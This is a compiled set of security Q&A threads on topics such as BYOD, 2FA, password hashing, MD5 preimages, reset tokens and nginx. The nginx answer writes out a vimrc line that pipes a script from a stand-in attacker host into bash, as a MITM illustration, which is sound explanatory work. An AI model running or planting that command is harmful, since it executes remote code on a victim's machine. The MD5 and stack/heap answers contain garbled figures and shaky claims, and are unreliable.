COPE vs. BYOD - as an employee why should I be interested in BYOD? I am curios what is the motivation for employees to go with BYOD?
As an employee why I should want to allow installation of MDM solution on my smartphone?

For some employees, MDM might be a valuable benefit. A few years ago, a coworker told me he always used the company VPN when browsing the Internet from his personal computer because (he felt) it was safer. Features like remote wipe of your data or having someone (e.g. at the Help Desk) who will listen to you and help you if you lose your device could be compelling for some employees.

As far as why an employee might want BYOD: I'm not high-ranking enough to get a corporate-owned device (and even if I was, I wouldn't want to have to juggle two phones), but it can be nice to be able to check my email or calendar when I'm away from my desk. Sometimes on a pleasant day I would check my calendar and email and, if there was nothing urgent, take the long way in to work. When my employer started requiring MDM I gave up that perk; other people less concerned with control of their phone might make a different decision.


Should Android apps for communication encryption and security require permissions like identity, device ID, contacts, etc.? There is a Android application Threema for communication encryption and that says it does not collect user data, but it requires the following permissions:  identity, contacts and device ID.

Can this application be considered really secure?

Android Permissions are a tricky subject - there are a range of reasons why an App might require some fishy sounding permission to private data:

Intent to steal you data and use it for advertsising or selling it
Lazy coding / incompetent coding ( I'm not sure what exactly we need, so let's just get this general permission to all files )
Bad Android Design - somtimes a strange permission like camera is needed to activate the flashlight, or track phone calls which sounds like someone is listening to your private conversations, but is actually needed to pause a music player when you receive a call (This varies with many android versions)
Actual use-case for some functionality in the app. Maybe the app features some functionality which actually needs this permission even if you don't use this functionality / don't know about it. A messenger could let you share contact details in chat and only require access for this.

What to do?

Best Case: You should only use apps where you trust the Publisher. And you could use a System like CyanogenMod which has integrated control - so you can decide to block any app from accessing your contacts, or decide to show a confirmation dialog each time it wants to access certain private data.

The preview for Android M also sounds like a fine grained permission control might be a standard-feature in upcoming releases...


Password sent over TLS: threats other than TLS compromise? One of my findings during a security audit was a password, sent as is over the network. As bad as it sounds, this happens only over HTTPS connection. Some authors suggested here that additional measures are not necessary, others point some problems as I was told in the comments.

What are the threats which are not mitigated by the TLS? Obviously, the passwords leak if TLS connection is attacked by a man-in-the-middle or compromised otherwise. Anything else?

Is there any other attack vector ...

It depends on the details of your implementation. If you are using a POST request or the common HTTP Authentication you should be fine. But if you are using a GET request to send the password (i.e. form with method=GET or similar) then the password might be kept in log files, HTTP Referer header etc which open up more attack vectors.


Why doesn't Google's "new sign-in from X" email notification contain the IP of the computer that connected to my Gmail account? When someone connects to my Gmail account, I sometimes receive a "new sign-in from X" email notification from Google, which just indicates the OS and the timestamp of the connection.

Why doesn't it indicate the IP of the device that was used to connect as well? (that would make things easier for the actual Gmail account owner to know whether the connection came from one of its devices)

Example 1:

Example 2:

I think this an answer you will only be able to get from someone who works for Google. But I do have a few theories:

Google does not want to scare none technical users with a set of numbers they have no idea what they are.
Why show the IP when they can just show the location? Most users would probably look up the IP anyways so Google saves them time by showing them the location (I notice that in your notification it does not say the location but usually they do).

Note: If you ever want to see the IP's of any session that logged in, you can scroll to the bottom of the page on Gmail desktop version and on the bottom right under "Last account activity" click on "details".


Is it safe and permissive to remember devices to skip two factor authentication when dealing with sensitive information? We're a small UK startup building a small service that allows certain special people (e.g. journalists) to access non-public court information.

This information includes a ton of private and sensitive information that cannot just be shared online. From relatively minor things like the name and address of someone accused of doing 31mph in a 30mph zone. But on the other end it also includes e.g. the name, address, age, relatives etc of rape victims, or 12 year old children who have allegedly committed a crime, or children who are potential victims of rape and sexual abuse (or adults who were). This information about protected victims or defendants (which covers sexual crimes and defendants under 18) is illegal to publish, and even illegal to share with the general public (the specifics, the fact that an anonymous case exists in the courts is not illegal to publish).

Anyone who can access this system should be vetted so that they know these laws (e.g. journalists, lawyers, etc), and then it will be their responsibility to use the information legally, and they will hold the liability.

Naturally we want to enforce 2FA on logins. But my question here is whether it's safe to allow devices to be added and remembered for the 2FA? For example Google accounts allow you to tick a box that says this service will be remembered and skip 2FA for a certain time period (1 month iirc).

From the user design point of view it would obviously be better if users were not prompted with a 2FA screen every time they logged in as this delays people and can be frustrating.

In terms of security, is there much of a risk in allowing devices to be remembered for e.g. a month?

Is there anything relating to this with security standards? We will likely have to pass/implement security standards etc before launch, will this effect any of these? E.g. I see ISO 270001 mentioned for similar things, will having the ability to remember 2FA effect this?

In this specific case, I would recommend against remembering 2FA. Most of your users will probably ask the browser to save their login and password, so saving the 2FA state will remove a safety barrier.

If someone loses his device (stolen or forgotten somewhere), there's nothing to stop anyone to just log back in and download everything. If you enforce a sensible session inactivity expiration timer (say 15 minutes), and not remember 2FA, even a saved login will not grant access.


Is possible to force a file to generate an specific MD5 signature? Sometimes MD5 is used to validate that a downloaded file is really valid.

So I want to know if is possible for a hacker to modify a file and introduce some malicious code AND make that file generate the original MD5.

Example

Original program

MD5:

eac2a0844b652ecea010ec38960d18ba

Malicious code

Original program
Malicious Code

MD5:

5c07d676b765510db628978dc593aa0d

Malicious code + random bits to modify the MD5

Original program
Malicious Code
00000000000000000000000000000000

MD5:

0ade6514efd2d247105ba6249e31ae47

Malicious code + random bits to modify the MD5

Original program
Malicious Code
00000000000000000000000000000001

MD5:

1a499c7ad2755cd66eeea78f5b56f6d0

... several combinations later ...

Malicious code + correct bits to modify the MD5

Original program
Malicious Code
d1bf573000019911b85cbeb24503e745

MD5:

eac2a0844b652ecea010ec38960d18ba //Just an example, real MD5: 882789190dcfee14d563913d345054e0

With enough time, could a malicious user find a string that generates the original MD5?

Sort of. But it would take a very long time.

Being able to create a file which has a specific known hash is known as a pre-image attack. An example would be me asking for a file which hashes to beefbeefbeefbeefbeefbeefbeefbeef. The only way to do this, theoretically, is to try calculating hashes for every possible input to MD5 until you find an input which gives this hash. There is no guarantee that this input exists (although it's likely to) and it's entirely possible that finding this would take universe scale time, even with the speed of MD5 hashing on modern processors. There is a known attack which weakens the MD5 pre-image resistance from 2128 to 2123.4. That's going from 1022 millenia, with one hash per microsecond, to 1020 millenia, so still not particularly practical!

Creating another file with the same hash as an existing one is known as a second pre-image attack. This is a special case of a hash collision - normally, you just want to find two strings which have the same output hash. There are a few of these known, and you can even generate your own!. However, in your case, you are leaving the first input untouched, and looking for a second input which both contains the first input, and includes some other specific content. That massively reduces the potential set of inputs to the hash function, meaning that you're looking for something that might not exist at all within a subset of the inputs. And the only way to find it is to try hashing every single valid value, until you find one.

In theory, you might be able to find such an input, but it may not exist at all, and finding it might take longer than the universe has existed. It's probably not worth worrying about!

Incidentally, this is why MD5 is fine for use as a checksum for downloads or similar - being able to generate a distinct file with the same checksum as a fixed original would be a computational coup, and be a bit wasted if merely used for tampering with downloads. It's usually a lot easier just to modify the MD5 strings listed for the downloads.


What access does installing custom certificate file give? I recently installed a custom CA certificate from a trusted authority to access some blocked resources. Android popped up with a message "The network can be monitored"

This made me question what can be monitored and would it have any impact in other private networks I connect to.I also connect to a trusted wifi to access some resource. This network blocks most other services except for resources on their app.

If this gets confusing feel free to comment for more information.

Thanks

When you install the certificate, you permit the service running on your phone to use it in order to technically MitM your traffic - it can decrypt the traffic before you see it, edit it, send it to another server, inject scripts - anything and still make it seem valid yo your browser since it resigns the data with its own certificate that you manually installed. This is the warning that you get - Android is just warning you to be cautious when having the certificate installed since you can't trust what you see on your screen to be untampered with.


Is it technically possible to determine the identity of the creator/uploader of an image on Twitter? I'm an artist who would like to share his work on Twitter. Because of the subject matter, I don't want my employer or family to find out. I want to stay totally anonymous.

Is it technically possible for someone to determine my identity simply by looking at the properties of the images I upload to Twitter (e.g. metadata)?

How can I prevent this?

No. Like the comment said, Twitter strips metadata for a while now. So unless you provide hints and do nothing worth a subpoena, you'll be safe.


Laptop battery dies, only IT is allowed to access machine after plugging in Apparently, my company has a security policy that states that if a laptop's battery dies (that is, uses up all charge because it's unplugged), the laptop gets locked and a domain administrator has to unlock it before it can be used again.

Is there anything to this policy that makes it more secure than not locking the laptop so a user can start using it again right away after plugging it in?

This is a highly secure environment, internal storage is encrypted and there are several security tools running on our computers all the time.

Edit: I didn't realize this could be relevant so I haven't added it before, but we're allowed to shut down / reboot the machines any time. We can also take them home to work from home (using VPN and IT-approved tools to facilitate authentication).

Edit 2: the computers run Windows 8.1 and are all part of a corporate domain. Access to various domain resources is tightly controlled.

If the computer is not allowed to be turned off, monitoring software (and possibly other hardware components) can be used to monitor things such as the removal of HDDs, RAM, and/or other chips. If the battery dies, there's no power to the system so no monitoring can take place - thereby requiring a hardware check to make sure nothing has happened. This is just one possibility I suppose.

Update: it's also possible the BIOS keeps logs of hardware changes which the OS (and thus your employer's monitoring software) can access. A dead battery would cause a discontinuity in such a log as parts could be removed and reinserted without its knowledge.


Expected cost and time frame for black box pen testing? I work for a major publicly traded company and we need some external black box pen testing done on a Win32 executable. This exe is used in a large client server infrastructure and is a central piece of our core business. It handles monetary transactions so it is vital that it is secure. The scope of work we would want audited are:

Protocol reversal of client / server communication.
General binary analysis for potential vulnerabilities.
Analysis of possibilities for code injection.
Detection of man in the middle vulnerabilities.

I am estimating that project like this would take a team of two 4-12 weeks depending on quality. We don't want to bill hourly and are trying to gauge what prices are reasonable per man month?

Generally, for this kind of work what are the ranges for rates and time periods that I should expect to see?

Because there are no definites in testing, and especially so in black box testing, I would charge a daily rate, and aim to propose a limit on the number of days based on assumptions. Occasionally we revise the number of days (up or down) if it becomes clear that the assumptions are incorrect (for example if we are provided with no information as to the size of an application we may assume a certain level of complexity which may turn out to be incorrect)

There will be a difference between a pen test only company, which will provide a technical report, and  a company which will provide analysis of the technical issues based on your business and information flow.

(disclosure: I have managed teams of >100 in this area for global consultancies - and we have always offered the end to end, business focused testing/assessments. These are most valuable for CIO/FD/CEO level - providing them with a useful report for their money, while providing a technical appendix (similar to the technical report) for deliver to IT.)


Where to find current, live botnet executable clients I've been able to find readily available botnet source code online however I'm currently working on my university research project and require access to an actual botnet client which encompases DGA's (Domain Generation Algorithms) and is live (the part the hacker infects the user with), as I need to do some network traffic analysis.

My analysis will look at the DGA's generated by the botnet client, however I need these to be current and registered domains, hence the need for a live botnet client.

I've searched the internet far and wide but can't seem to find anything which is sort of ironic.

If anyone could point me in the right direction I'd be forever grateful.

Maybe try asking your local countries cybercrime department of the police?

I have no idea if they would answer a question like that but you might be doing useful research that they can use as well, so try to explain the mutual benefit of information sharing!


Messenger and Facebook photo access privacy Does turning on "photo access permissions" for the Messenger or Facebook app on IOS/Android allow them to download the whole phone's photo gallery on Facebook’s servers? Do they do that?

First, look up what the permissions mean from the developers: https://support.google.com/googleplay/answer/6014972?co=GENIE.Platform%3DAndroid&hl=en - yes, it looks like it would be possible for an app to access the entire photo store on your device.

Second, think about the impacts of your suggestion. If you have 100 GB of photos on your device, then that would mean that the app would have to transfer all those files. This would become very evident when you max out your transfer limits. It is also possible for users to see what data bandwidth an app uses. If Facebook was doing this type of transfer, it would be the top app for data use, and questions would be asked.

So, is it likely that all the photos are downloaded? No. If they tried it, the public would notice and it would make the news.

There is little benefit for Facebook to do this and huge problems if they tried it.


Are jQuery vulnerabilities exposed by the file being served from the server of by usage of the vulnerable code? I've recently been asked to update a legacy web application, installed on numerous client servers, to use the current version of jQuery 3.3.1, rather than 1.10.2 which has a number of vulnerabilities.

Do I need to simply update the version used by the system to increase its security, or will I need to remove the old jQuery files from the server as well?

The system only makes use of jQuery in a fairly limited manner, so I don't think that the update will cause too much re-development. Bearing this in mind, do I even need to update jQuery if the system isn't using any of the features with a vulnerability?

When updating a library, you should indeed remove the (possibly problematic) code from the server. This is also true if the web application is not using the vulnerable parts of the library.

There is a good reason for that:

Served from that web server, the problematic code can possibly be leveraged in an attack that otherwise would be mitigated by CSP.

If a vulnerability in the web application does allow for (for example) XSS, the old versions vulnerabilities could be leveraged by an attacker regardless of the parts of the library the  web application (usually) uses, possibly allowing for more controlled execution.

As you can see, it would need another vulnerability to actually exploit the vulnerable code, but following the argument of that not being a problem would render CSP in its entirety useless; removing that file will keep the CSP usefull.

Additionally, it would be hard to identify whether any parts of the code still rely on the old library when it's still available, so it would be good practice to remove libraries that are no longer necessary.


Is it bad practice to prefix my hash with the algorithm used? Let's say I have a database with a bunch of users in it. This user database would typically have a hashed password per user. Would it be bad practice to prefix this hash with the hashing algorithm used?

For instance, instead of the hash aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d, I store sha1_aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d, since the method for making the hash is SHA1.

I noticed Argon2 does this, and I actually think it is quite convenient, because it makes it easier to partially migrate to newer hashing algorithms for newer users over time.

I don't use SHA1 in my production code for passwords. SHA1 was chosen randomly. This question is not about the use of the hashing method.

Many different password hashing systems do this. The type of hashing mechanism used should not be (and should not need to be) a secret. Kerckhoffs's principle says:

  A cryptosystem should be secure even if everything about the system,
  except the key, is public knowledge.

So, if your system is properly secure, it should not matter if the hash mechanism is exposed.


What are security implications of enabling access to performance counters on ARM Cortex A9? On an ARM Cortex A9 core, privileged instructions have to be executed so that unprivileged code can use performance counters. For instance with this GCC inline code, which would have to be run in a kernel:

/* Allow access to perf counter */
__asm__ __volatile__ ("\tMCR p15, 0, %0, C9, C14, 0\n" :: "r" (1));

/* Turn off counter overflow interrupts */
__asm__ __volatile__ ("\tMCR p15, 0, %0, C9, C14, 2\n" :: "r" (0x8000000f));

If access is not enabled, then user programs which try to access the cycle counter receive an "illegal instruction" exception, and of course user programs cannot run the enable sequence.

My question is, is there some security reason for protecting the counters?

All I can think of is that in a trusted computing type environment, unprivileged code could obtain very precise timing information about calls to some security sensitive code.

I want to get as much information as I can before adding such code to the startup code of a kernel that customers will integrate into end products which have tight security requirements.

Very precise timing information is very helpful when doing side-channel attacks. Some famous example (in lab conditions) include stealing an encryption key used by some other process, on data we do not see (neither cleartext nor ciphertext). This can work on detection of L1 cache misses, or of jump (mis)prediction in the CPU. Forbidding access to the cycle counter will make such attacks harder (not impossible, but harder).

If you do not have concurrent processes potentially hostile to each other, running on the same CPU (a scenario which includes the case of two distinct virtual machines which share the same hardware), then there is little reason to deactivate the cycle counter.


Should SSL be used in purely informative page What are the reasons to using ssl in purely informative wordpress page?

Authentication

Authentication helps verify ownership of your website. Believe it or not, there are people out there that make replicas of websites and divert traffic in an effort to steal from you.

Most people know that they need to check for the green lock in the URL window before entering personal information into a website. But you can go one step further and verify the SSL certificate to make sure your visitors know their information is safe on your site.

Data Integrity

Data integrity is about whether the data on your site has been tampered with while it’s in transit. If someone knows what they’re doing and your website is not secure, they can tamper with the data transmitted from your server back to the client. The contact form a potential client just filled out on your website could go to a hacker and not to you.

Encryption

Encryption refers to the security of communication between the client and the server so that no one else can read them. This is a key point for commercial websites. While it’s extremely important to encrypt the communications on an ecommerce website, it’s equally important to encrypt the data submitted using forms.

for more details click here

Google Says HTTPS and SSL is a Necessity

Google has confirmed that it uses HTTPS as a ranking signal when showing search engine results. This is a good thing for your business, as it gives you a competitive advantage against businesses who do not have an SSL certificate on their site.

Google also states that if your website does not use HTTPS that not only will your search engine rankings be affected, but your website’s credibility will be affected as well.

In July 2018 Google began displaying the security of the connection in the address bar of Chrome on all website pages, marking all HTTP pages “Not Secure”.


Reading potentially hidden properties of a PDF file I have a PDF file which, when going via "Properties", shows no data. For example, no mention of the author of the file. Is there any way I can unlock such information?

No data mean there are no data, sorry.

Unfortunely, populating metas is at all a good practice, but not a requirement.

You could create a PDF from approx every program able to print something, so there are as many different pdf maker than applications.

But, you could split (source) your PDF, (with pdftk, ghostscript, pdfdetach and a lot of other tools) then inspect each components.

This could become a forensic job, but you could determine a lot of thing by this kind of work.

Little sample:

printf "%%\041\n/Helvetica findfont\n11 scalefont\nsetfont\nnewpath\n
             300 500 moveto\n(%s) show\nshowpage\n" TEST |
    gs -sDEVICE=pdfwrite -sOutputFile=/tmp/test.pdf - -c quit

This will produce some regular PDF file, containing only the word TEST...

pdfinfo /tmp/test.pdf
Producer:       GPL Ghostscript 9.20
CreationDate:   Fri Dec  8 17:46:00 2017 CET
ModDate:        Fri Dec  8 17:46:00 2017 CET
Tagged:         no
UserProperties: no
Suspects:       no
Form:           none
JavaScript:     no
Pages:          1
Encrypted:      no
Page size:      595 x 842 pts (A4)
Page rot:       0
File size:      2569 bytes
Optimized:      no
PDF version:    1.5


When signing up a new user, is there a way to secure the password using jQuery/PHP? I'm of the opinion that HTTPS is sufficient for securing passwords from would-be MITM (man-in-the-middle) attacks, but I'm curious to know if there's anything else I should be doing.

During signup, the password is collected on a server that forces HTTPS. Since we collect the password from a form in jQuery from the password input using something similar to

newpass: $("#newpassword").val(),

and then send that via AJAX POST to a call for something similar to:

password_hash($newpass,PASSWORD_ARGON2I);

I'm wondering if that's all I need, or if there's a way to further reduce vulnerability in the web-based app.

There's not really anything else major you can do. There's a few minor things, which I'll get to, but the basic pattern you describe is used near-universally for good reason. Just based on the steps you describe, if somebody were to have their credentials compromised, I would very strongly suspect it to have nothing to do with your HTTPS or password handling, and to be much more likely due to a largely-unrelated issue such as credential reuse on a compromised site, phishing, SQL injection, remote code execution on the server, XSS on the login page (or in a context where the user could be convinced to enter their credentials), or so on, in roughly descending order of likelihood.

The things you can do to improve your login security fall into a number of rough groupings, which I'll lay out below. For any given item, if you want more information about it, I suggest looking for (and asking if needed) other security.SE questions and/or general search results.

Considerations about the credentials themselves:

Support and encourage multi-factor authentication, ideally using things more secure than SMS.
Prohibit the use of common passwords, identifiable from past breaches.
Instead of arbitrary "complexity" requirements on passwords, just have a reasonable minimum length and encourage the use of passphrases and/or password managers.
Avoid forced password rotations for arbitrary reasons like passage of time, but immediately lock any credentials suspected of being compromised.
Any password-reset or direct-login links should be short-lived and ideally single-use (they are effectively credentials while valid).
Don't allow the use of things that are weaker than passwords, such as SMS or "secret questions" (actually, don't use the latter at all), as alternative credentials.
Consider allowing highly-secure physical-token based authentication (such as using a Yubikey) as an alternative to passwords.
If relevant, consider allowing authentication using secret tokens (like how AWS secret keys work) as an alternative to passwords, especially for programmatic access.
If practical, consider allowing public key-based authentication (TLS client certificates and/or SSH public key auth) as an alternative to passwords.
Consider requiring additional authentication (especially if the user is using a relatively weak single factor, like a password) when logging in from a new device or region.

Considerations about transport security:

Use HSTS, on all domains and with preloading, to prevent SSL-stripping attacks and possibly others.
If you have client apps, consider using public key pinning (consider also HPKP for browsers, though it has very little support now).
Ensure you support the latest standardized TLS protocols and cipher suites, and not any deprecated ones.

Credential hashing and storage:

Use parameterized queries / stored procedures, and/or bound variables, instead of constructing database queries (in SQL or a non-SQL language) using string concatenation or similar.
Consider using a secret salt ("pepper") that is stored outside of your database when hashing passwords.
Consider using an HSM of some sort to store the pepper (and other secret keys).
Periodically update your hashing algorithm (at least the work factor(s)) to keep it as secure as possible.
Consider encrypting your database using an externally-supplied key so that a copy of the DB (for example, from a backup) is useless to an attacker.

Password change considerations:

Check for common / compromised passwords at all password changes, not just at initial account creation.
Consider checking for weak passwords periodically when a user logs in, and updating the banned password list as new breaches come to light (force users to change weak passwords).
Password reset needs to be at least as secure as password authentication (for example, no allowing single-factor auth for password reset if you require multi-factor when using a password to log in).
Require the old password when adding or changing (as opposed to resetting) any credentials (including passwords but also things like public keys).

General web security:

Keep pages that interact with credentials as simple and well-reviewed as possible, to avoid things like XSS risks.
Be especially careful of open redirects from login pages, as they can be useful for phishing attacks or even for XSS that is able to steal the credentials directly.
Consider including CSRF protection on both log in and log out actions, as otherwise an attacker can potentially "plant" their own session on a victim (which is less serious than stealing credentials outright but can have an affect similar to session hijacking).
Create a highly-restrictive Content Security Policy and enforce it as soon as you can.
Ensure you keep all programs and libraries (including OS, web server, application framework, and third-party libraries on both client and server) up to date, and monitor security disclosure lists for announcements of vulnerabilities in packages you use.
Ensure any third-party libraries you use come from reputable sources, and consider reviewing them yourself and then freezing their version to avoid supply-chain attacks.

... I could go on for a while. Auth is hard, and security in general is even harder.


Secure Login System Without SSL Through Google OAuth I've been working on building a website for my school, but with a low budget, they didn't want to purchase an SSL license. I then turned to Google OAuth as that would at least encrypt the username and password. This works fine for a single session, but I would like to have the option to stay logged in long term.

Is there any safe way of logging the user back in after they have closed and reopened their browser window and the session has expired? I have considered the refresh tokens, however if you store a refresh token as a cookie, you can transfer that token to another browser/computer and get access to the account without ever logging in.

Is there anything I can do to make the system more secure? Or is it pointless anyways because you can always transfer the PHP session ID over to another browser and get in that way...

If you don't have the budget to acquire an SSL certificate (even if a DV one is extremely cheap), you can always turn to free CAs:

Let's Encrypt gives you free DV certificates available for 90 days, with free renewal (I actually use Let's Encrypt for my blog, and I set up cron job to renew the certificate every 80 days, I left 10 days as a spare margin)
Cloudflare also provides free certificates


HTTPS vs SOCKS proxy I've already read an excellent explanation of what is HTTPS and SOCKS proxy. What I understand, is that by HTTPS proxy people mean:

Secure channel between proxy and target server
Secure channel between client and proxy
Both from above: secure channel between client-proxy and proxy-target_server. But that requires two SSL (one nested inside other). This is pretty complex.

In other hand, SOCKS protocol is more low level and it's easy to configure with SSH and forget about pain of configuring nested SSL:

  An alternative is to use a SOCKS proxy. This is easy to setup with
  SSH. With a SSH-powered SOCKS proxy, all the communications emanating
  from your browser will go through a SSH tunnel between your client
  machine and the proxy server.

So why SOCKS proxies haven't forced HTTPS proxies out yet? When HTTP proxy is better?

So why SOCKS proxies haven't forced HTTPS proxies out yet? When HTTP proxy is better?

Convenience, HTTP proxies handle HTTPS connections transparently; by creating a tunnel and through the HTTP CONNECT method.  For any non-TLS connections, it will forward HTTP requests just as well.

Since the majority of "legitimate" traffic is HTTP(s) anyway (i.e: a hotel / airport / ... is more likely to let you do http(s) traffic), it's more riskier for a company to allow sock proxies.  This will allow people to use their connection to perform outbound connections (spam, bruteforce attacks, ...)


Can I use a user's password hash as the AES key to make a one time token? I want to make a one time token that users use to reset their password. The token should be invalidated once it is used, is it safe to use their currently hashed password as the aes key to encrypt the token so that once the password changes, the token can no longer be decrypted? This token will only be encrypted/decrypted at the server.

What are the downside/upsides to this approach?

The problem you run into is that if the password hash is all that's needed to generate a valid token, an attacker with a database dump can generate reset tokens for everyone (which sort of defeats the purpose of hashing passwords in the first place). This problem can be solved, but it ends up being a lot more complicated than using random values for reset tokens and storing their hashes in a table.

Important note: I wouldn't implement this myself without more examination, I just came up with this mostly off the top of my head for the fun of it. Give others a chance to point out what I got wrong. Seriously, I already screwed it up once.

What properties does a password reset token need?

Identifies a specific user and is valid for no one else
No longer valid after password is changed
Expires after a time
Secret and very hard to guess
Database dump doesn't give an attacker any existing tokens or allow them to generate tokens at will

Since you want to have reset tokens without having to store them in a database, I would suggest this psuedocode for generation:

token = {
    "user": [username],
    "expiry": [unix timestamp]
}

// Very important!!!
// Password hash should be bcrypt or argon2 with good cost
// Secret application "pepper" is used to salt the key with HKDF, so a database dump won't allow generating reset tokens
key = hkdfsha256(user_password_hash, pepper)

return base64encode(token + hmacsha256(token, key))

And to verify:

data = base64decode(data)
token = data[:-32]
submitted_hmac = data[-32:] // last 32 bytes are hmacsha256
if (token['expiry'] > now()) {
    return false
}
// [retrieve password hash here]
key = hkdfsha256(user_password_hash, pepper)
return hmacsha256(token, key) == submitted_hmac

Examination

The username identifies the user the token is for
Deriving the HMAC key from the password hash means once the password is changed the token is no longer valid
The expiry check prevents an unused token from remaining valid for too long
The password hash and pepper make the HMAC output (and thus the full token) unguessable
Using a pepper to derive the HMAC key prevents an attacker with a database dump from generating tokens for everyone

Pros

No database storage
Validity of token is intrinsically tied to current password
All currently valid tokens can be easily invalidated by changing the pepper

Cons

Somewhat large token size (108 base64 characters given a 15 character username), but it should still be ok for a URL in an email.
Token isn't entirely opaque, users could see the user and expiry info. This doesn't affect the security, but if you want to avoid annoying questions from people that think it's a problem you could encrypt it as well, although this means adding an IV (if you do this you should encrypt before HMAC).
If an attacker gets a database dump and the pepper they can generate tokens at will.
No way to know how many valid tokens exist at a given time, or for which users.

Some thoughts

Using the entire password hash means the salt will be part of the HMAC key, so it should contain a large amount of entropy already even if the password is terrible and the pepper gets exposed. To attack this scheme both the pepper and database would need to be exposed.
If you really want to make the token smaller, you could truncate the HMAC output to 16 bytes, null terminate the username, and do username + 5 byte unix timestamp + 16 byte HMAC. This avoids the 2038 problem with the timestamp, and with a 15 character username is down to 52 base64 characters. I wouldn't recommend doing the 5 byte timestamp though, the 3 extra bytes don't seem worth it.
Since the amount of space you're saving is strictly smaller than the users table you're already storing, I don't think all this is worth it anyway. Maybe if you weren't able to alter the database schema and it didn't already have a way to store a reset token.


Hash algorithm that provides less than 10 bytes I know it's insecure, but I need to for number of profile;

I need a hash algorithm to provide less than 10 bytes.

That question is impossible to answer without understanding your requirement for the hash function.

Since we're in security.se, though, I suppose that you're asking for a secure hash function. In that case, I'm afraid the answer is: it can't be done.

You see, a hash function is just a mapper: it persistently maps data of arbitrary size to a fixed-length key. Nothing more. For instance, a function that takes a string and returns a constant number is a perfectly valid (if somewhat useless) hash function.

Now, a cryptographic hash functions are a class of hash functions that have additional properties. The ideal cryptographic hash function has the following properties:

It is pre-image resistant: you can't easily find an input that will give you a specific output faster than brute-forcing in input space.
It is second-preimage resistant: given a specific input, you can't easily find a second input that will give you the same output.
Is resistant to collisions: You cannot easily find two messages that will result in the same output, even given a large number of different inputs.

All this more or less rely on the fact that, even if the key space is smaller than the input space, it is still too big to be exhaustively mapped. Otherwise, you could spend a lot of time writing a reverse-mapping table and then you'll have a simple way to break 1.

That is why you need to explain what properties you expect from a 10-byte hash function: the standard secure hash functions will not work for you while retaining their secure properties. That doesn't mean, however, you cannot use them if your requirements are different.


Monitor Server Requests and IP Addresses I have a Apache VPS by GoDaddy with Wordpress and the Enfold theme. Both are up to date, no additional plugins are installed.

The server frequently gets hacked, and malicious PHP code gets injected to the file structure. Those files send tons of emails out.

I do not know where/ how the attackers enter the website.
All passwords have been changed.
I set up the following iptable rule

-A INPUT -p tcp -m tcp -m multiport ! --dports 20,21,80,443,1030,2083,2086,2087

to block all ports not needed for the website use and development. (1030 is SSH)

Also, the website is using the cloudflare WAF...

Is there any way to write a bash script which monitors all incoming connections to the server, what port and file they have accessed and logs it? So the next time files get injected i can follow the request at this time and see what connections / IP / service was used.

Thank you for any help to solve the issue. I ideally would not only want to know how to block the attacks but also how they are conducted and what vulnerabilities they are using. As the hack is sending out emails ony, and we don't need exim at the moment, i can easily disable the email server.
This way i can try different approaches and observe the attack more often to understand what is really going on.

Thank you!

It would be better to log PHP requests. So you can cobble some simple script on top of your index.php to log all _GET and _POST globals. Based on that, you can see what request is sent with what parameters to your Wordpress which causes a breach.

Your theme used to have vurnerabilities, see link here, it may be that it still has some which is exploited on your website. Unfortunately, you might be on your own in tracking it via _GET and _POST and fixing it by returning null if malicious parameters are passed.


Can you do an overflow to the heap space from a stack? I was reading about buffer overflows and I know that I can have a stack overflow and heap overflow. But since the stack and the heap meet at some point, would it be possible to overflow into one from the other?

It would be great if you could give an explanation regarding the execute permission in the heap space too.

A stack buffer overflow usually overwrites previous stack frames or the return address.  The stack grows down and buffers within the stack "grow" (they don't) up.

On most systems, the stack grows down and is above the heap.

A stack overflow can't overwrite anything on the heap because the heap comes before the stack.   An underflow however would force the stack to overflow, causing the program to crash before anything gets overwritten.

If pointers are unsigned integer, incrementing a pointer far enough could make it point to the heap.  But since buffer overflows usually write to all the addresses in the overflowing buffer, the program will crash when it has gone beyond the beginning of the stack.  And even if the stack begins at the highest address, there will be a NULL pointer dereference, attempts to write to text and attempts to write to read only data sections, before the heap comes.

On rare systems where the stack grows up and towards the heap, a stack buffer overflow could overwrite data on the heap, assuming the system does not create a no-man's-land between the stack and the heap.

Some systems automatically allocate memory to the stack as it grows, other have a pre-allocated area for the stack.  Auto-growing stacks are limited by either policy, and/or on 64-bit systems: available memory and swap.

A normal buffer overflow on these systems won't hurt the heap because it hits the no-man's-land before the heap.


Is there any real protection against Google on Android phones? There's a lot one can do to protect his self identity and from being tracked on standard computer machine, but I wonder if there's any way to do so(or at least as close as it possible) on the Android phones?

For example, how can one make sure Google won't get access to his contact list? I'm not talking about setting the things up as you wish at the Google's account page, I'm talking about ensuring Google won't be able to have access to it.

They probably store some hardware info of the cellphone as well and so on - is there any way to actually protect your self from this and yet benefit from today's new smartphones that are available and running Android?

One could build a custom AOSP based ROM with no google services, API's.
I have come across ROM's that do this, cannot guarantee on the completeness since I did not test it myself .


Security concerns when using nginx as a lightweight URL shortener I wish to use nginx as a lightweight URL shortener.
To be exact, assuming my domain name is example.com, I have this most basic nginx.conf:

events {}
http {
  server {
    listen 80;
    location = /vimrc {
      proxy_pass https://some/publicly/available/url/to/vimrc;
    }
    ... # similar locations follow
  }
}

So, whenever I wish to deploy my vim configuration, I can simply do: curl example.com/vimrc.

This seems to be working as intended, although with almost zero knowledge of nginx, I am a little concerned of default nginx behavior (which I am not aware of) that may expose my server to security related threats.

It should be noted I currently don't mind running on port 80. (I am well aware of mitm, and that the connection is in plaintext, but this is not something I wish to deal with at the moment).

Update

I've modified the configuration to use return 301 https://url/to/vimrc.
I will probably look into Configuring SSL as well, as the small chance of MITM is indeed not worth the risk.

The only vulnerability here is the http:// connection that you wished to ignore.

Suppose that there is a MITM, and the attacker added to your .vimrc

command Q !curl http://evilwebsite.com/infect.sh | bash

Then, misspelling :q as :Q would infect your machine.¹ Is it really worth the risk?

Note that even if you secured your connection to example.com, the same risk would be there if the proxying was done through http:.

The basic solution would be to do configure SSL, and it will surely be useful for other things, too.

But in this specific case, where nginx is fetching a public https:// url, you could simply replace this with a redirect:

rewrite ^ https://some/publicly/available/url/to/vimrc ;

and manually verify that curl is redirecting you to the expected server.

Still, having a routine of downloading of your dot files from someone else's server strongly relies on them being both honest and not compromised.

¹ There are probably better vector.


Which is a safe way to transfer a copy of a sensitive document? A reputable and clearly identified institution asked me, for legitimate reasons, to e-mail a scan of the passport. However, I regard the passport as a sensitive document and am pretty reluctant to use the e-mail to that end, for generic/general security concerns. One other case, for example, could be an invoice, a confidential contract, and suchlike.

Beside faxing, what are safe and workable alternatives for transferring the copy of sensitive document across the web?

